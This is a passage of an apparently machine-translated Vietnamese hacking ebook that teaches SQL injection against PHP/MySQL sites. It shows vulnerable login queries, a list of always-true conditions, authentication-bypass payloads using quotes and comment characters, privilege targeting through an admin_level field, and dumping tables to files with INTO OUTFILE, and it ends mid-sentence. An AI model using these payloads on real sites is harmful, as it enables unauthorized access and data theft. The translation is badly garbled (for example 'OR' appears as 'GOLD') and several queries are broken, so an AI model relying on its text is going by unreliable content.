Hacker Professional Ebook part 272 pdf

3. INSERT (Điền) 4. UPDATE(Cập nhật) 5. Kết thúc/Credit :: 1.Giới thiệu :: Bài viết sau đây sẽ hướng dẫn bạn những điều tôi biết về SQL Injection In PHP, dựa trên nền tảng dữ liệu MySQL. Mã MySQL/PHP được đăng ký in blue (thật khó hiểu ) và giá trị có thể thay đổi được bằng cách tạo ra injection in red (thật khó hiểu ) Tất cả những điều được viết trong bài này đã được bản thân tôi thực hành. Cuối cùng, đây là 1 trường hợp nhỏ về ứng dụng SQL Injection với ngôn ngữ PHP, đối lập với ASP hay JSP, bởi vì cấu hình của nó có khiếm khuyết (sẽ được nói lại sau). Nhưng những cái đạt được tuy thế mà, thỉnh thoảng co dãn lớn (large scale), và trong bất kỳ sự việc nào thì lý thuyết là đủ intèressante (tiếng Pháp ko có biết dịch ). Với rất nhiều lần cập nhật mới của MySQL, thì rõ ràng là bài hướng dẫn về chủ đề này sẽ ko thành công nữa (hoặc ko tồn tại được lâu) Let us recall that injection SQL consists to change of it the goal first of a request SQL, thanks to modifiable variables by the user. Hãy tưởng tượng 1 trang PHP cho phép tìm kiếm thành viên đã được ghi nhớ trên trang web. Đề nghị sẽ có dạng: $req = "SELECT * FROM members WHERE name LIKE ' %$search% ' ORDER BY name"; Chỗ $search được sửa đổi biến số bởi người dùng, đưa đến từ 1 form post (hay 1 thứ #) từ lệnh sau: < form method="POST" action="<? echo #; ? > "> < input type="text" name="search"><br > < input type="submit" value="Search" > </form > 1 ví dụ về SQL Injection, (nguyên bản khó hiểu)ko đăng để ví dụ những thành viên theo trật tự alphabet (bằng 'name'), nhưng tốt bằng uid, cho nên bằng trật tự của câu lệnh, sẽ được đưa đến $search giá trị: % ' ORDER BY uid #. Việc thi hành đề nghị về sau sẽ được biến đổi vào trong: SELECT * FROM members WHERE name LIKE ' % % ' ORDER BY uid#% ' ORDER BY name Cái gì ko là nguyên bản sẽ là của script (What is not the original will of script) Tôi sẽ ko trình bày chi tiết ví dụ này; đừng yêu cầu quá nhiều về những thứ này, all comes at the right moment at which can wait, which will live will see (?). Hãy quay trở lại vấn đề về cấu hình PHP. Trong php.ini một dòng lệnh tạo ra cho chúng ta có thể định rõ được "magic_quotes_gpc". Nếu tùy chọn này ở trong vị trí ON, which is the case by defect (theo cách đó cho 97% trang PHP), them "and them ' go" slashés "beings, i.e. rằng chúng sẽ được biến đổi thành \" and \ '. Theo cách đó nếu nó là trường hợp trong ví dụ đầu tiên của chúng ta, thì việc thi hành yêu cầu sẽ là: SELECT * FROM members WHERE name LIKE '%%\' ORDER BY uid#% ' ORDER BY name Số lượng tìm kiếm 1 tên mà chứa câu lệnh: % ' ORDER BY uid # trong table ` membres`, mà ko đưa đến bất kỳ kết quả nào. Đó là lý do tại sao trong bài hướng dẫn này chúng tôi đi đến cân nhắc rằng chúng tôi làm trên 1 trang với magic_quotes_gpc đang OFF. Yêu cầu thi hành chủ yếu thứ 3 trong srcipts PHP là SELECT (lựa chọn), INSERT (điền) và UPDATE (cập nhật). SELECT trích ra thông tin về một hoặc nhiều tables, INSERT thêm vào 1 recording, và UPDATE chỉnh sửa 1 recording đã được tạo. :: 2.SELECT :: Commencons bởi hầu hết theo truyền thống, đề nghị SELECT, cái mà cũng sẽ làm cho chúng ta có thể xem dạng injection đầu tiên. SQL được hiểu nhiều, sử dụng nhiều. SECLECT thường được sử dụng trong authentifications admins hay members. Do đó chúng ta có thể tưởng tượng 1 form nơi hỏi mật khẩu và đăng nhập. Việc nhập vào những giá trị được phản hồi theo hướng 1 đề nghị MySQL: $req = "SELECT uid FROM admins WHERE login=' $login' AND password=' $pass'"; Thực hiện 1 thi hành yêu cầu này, nếu có kết quả, nó sẽ là login và password hiện thời tốt và phù hợp, và theo cách đó có 1 cái (that one) sẽ là administrator. Ở cái nhìn đầu tiên, để xác nhận yêu cầu, cần 1 tài khoản login và 1 mật khẩu có giá trị. Vì thế mà biểu thức login=' $login' or password=' $pass' phản hồi lại ' vrai', nó sẽ là tất yếu rằng tài khoản login và mật khẩu nhập vào $login/$pass là tồn tại. Đó là 1 thoáng nói về điều kiện mà luôn luôn phản hồi lại ' vrai'. 1 cái (one) nên đòi sự xác nhận nhiều hơn trong trường hợp đó (that conditions in these cases there). Tôi concocté bạn 1 danh sách nhỏ yêu cầu mà sẽ luôn luôn phản hồi lại ' vrai': SELECT * FROM counts WHERE 1=1 SELECT * FROM counts WHERE ' uuu' =' uuu' SELECT * FROM counts WHERE 12 SELECT * FROM counts WHERE 3>2 SELECT * FROM counts WHERE 2<3 SELECT * FROM counts WHERE 1 SELECT * FROM counts WHERE 1+1 SELECT * FROM counts WHERE 1 1 SELECT * FROM counts WHERE ISNULL(NULL) SELECT * FROM counts WHERE ISNULL(COT(0)) SELECT * FROM counts WHERE 1 IS NOT NULL SELECT * FROM counts WHERE NULL IS NULL SELECT * FROM counts WHERE 2 BETWEEN 1 AND 3 SELECT * FROM counts WHERE ' b' BETWEEN ' a' AND ' it SELECT * FROM counts WHERE 2 IN (0,1,2) SELECT * FROM counts WHERE CASA WHEN 1>0 THEN 1 END Bạn thâu tóm/hiểu nó (included/understood), one affirms each time a sure reality: 1=1 (1 equal 1 hé yes), số 1 bên phải khác với (different of) 2, 3 >2, B ở giữa A và C, Null là Null, Ý tưởng của biểu thức mà luôn luôn phản hồi ' vrai' là một trong những cái gốc (nguyên tắc) hết sức quan trọng của SQL Injection. Thực vậy, nếu điền "always true" ("luôn đúng") vào yêu cầu, thì là vô ích để có tài khoản login và mật khẩu. Lấy ví dụ trong khi đưa đến $login and $pass giá trị: ' GOLD ' a' =' has, một cái sẽ thi hành yêu cầu SQL với dạng: SELECT uid FROM admins WHERE login = ' ' GOLD ' a' =' a' AND password = ' ' GOLD ' a' =' a' Cái gì phản hồi ' vrai', từ đó ' a' =' a' là luôn đúng ! Nó là ghi nhận đầu tiên của table sẽ được chọn, cái uid trích ra sẽ là ' 1 '. Và hầu hết thời gian, membre/admin đầu tiên được ghi nhận là chủ nhân của trang web, có hầu hết quyền hạn. Nếu 1 cái muốn được chọn tài khoản để với mỗi accèder, nó sẽ là cần thiết để có thông tin, lấy ví dụ the pseudo one. Nếu 1 cái muốn nắm được tài khoản của John, nó sẽ phản hồi lại dạng như $login "John" và $pass một biểu thiức luôn luôn phản hồi lại ' vrai', lấy ví dụ: ' GOLD ' b' BETWEEN ' a' AND ' C, cái mà sẽ thi hành yêu cầu: SELECT uid FROM admins WHERE login=' John' AND password = ' ' GOLD ' b' BETWEEN ' a' AND ' it Bây giờ hãy xem 1 nguyên tắc cực kỳ quan trọng của SQL Injection, cái mà có thể hữu dụng trong ví dụ của chúng ta, và trong những những thứ khác để đến: người sử dụng ký tự "comments". Ban đầu là ký tự # mà chú thích (comment) trên tất cả cái mà theo nó (theo cách đó sẽ ko mang lại bất kỳ dữ liệu cơ sở nào). Lấy ví dụ: SELECT * FROM counts WHERE nom=' Jack' # comment Yêu cầu sẽ mang lại: SELECT * FROM counts WHERE nom=' Jack' Một khả năng khác là sử dụng /* và* /, cái mà biến đổi thành chú thích (comment) what is between the 2. Lấy ví dụ: SELECT * FROM counts WHERE/* comments */addresse=' 25 street of the roubys' Yêu cầu sẽ mang lại: SELECT * FROM counts WHERE addresse=' 25 street of the roubys' Việc dùng những ký tự này trong SQL Injection chủ yếu sẽ giúp chúng ta make be unaware của những phần yêu cầu thi hành, để mà jump of điều kiện, 1 chút giống như phương pháp ' jump' trong cracking. Hãy quay trở lại ví dụ, và sử dụng những hiểu biết mới để đoạt được tài khoản của John, it is then enough to type like $login: John' #, cái mà sẽ đưa đến yêu cầu: SELECT uid FROM admins WHERE login=' John' # ' AND password = ' ' và phần ' AND password = ' ' sẽ bị bỏ qua. Việc injection có thể được sử dụng cho rất nhiều thứ, với nhiều con đường khác nhau. Hãy tưởng tượng lấy ví dụ rằng có 1 vài cấp độ của administration (hãy gọi trường table ' admin': 'admin_level'), that thành viên được ghi nhận đầu tiên chỉ là người điều chỉnh và rằng một cái muốn có tài khoản của cấp độ 1. Injection trong trường hợp này sẽ được, lấy ví dụ đưa đến $login giá trị: ' GOLD admin_level=1 #, cái mà sẽ đưa đến yêu cầu: SELECT uid FROM admins WHERE login = ' ' GOLD admin_level=1 # ' AND password = ' ' Một cách khác để sử dụng SQL để logger một utilisateur/admin trong SQL, sẽ kiểm tra ko chính xác tài khoản login VÀ (AND) mật khẩu trong yêu cầu SQL, nhưng để ban đầu trích dẫn tốt mật khẩu theo tài khoản login, với 1 dòng mã như sau : $req = "SELECT password FROM admins WHERE login=' $login'"; Sau đó script sẽ xác minh nếu mật khẩu nhập vào form là tốt that đã trích xuất admins table . Một lần nữa, hệ thống này là ko đáng tin cậy, bởi hàm (cú pháp) SQL: INTO OUTFILE (hoặc INTO DUMPFILE). Ví dụ: SELECT * FROM counts INTO OUTFILE '/complete/path/to/file.txt' Tất cả nội dung của table ' table' trong file /complete/path/to/file.txt sẽ ghi lại. Do đó nếu ví dụ của chúng ta 1 lần nhập vào một giá trị đến $login: John' INTO DUMPFILE '/path/to/site/file.txt, yêu cầu sẽ trở thành: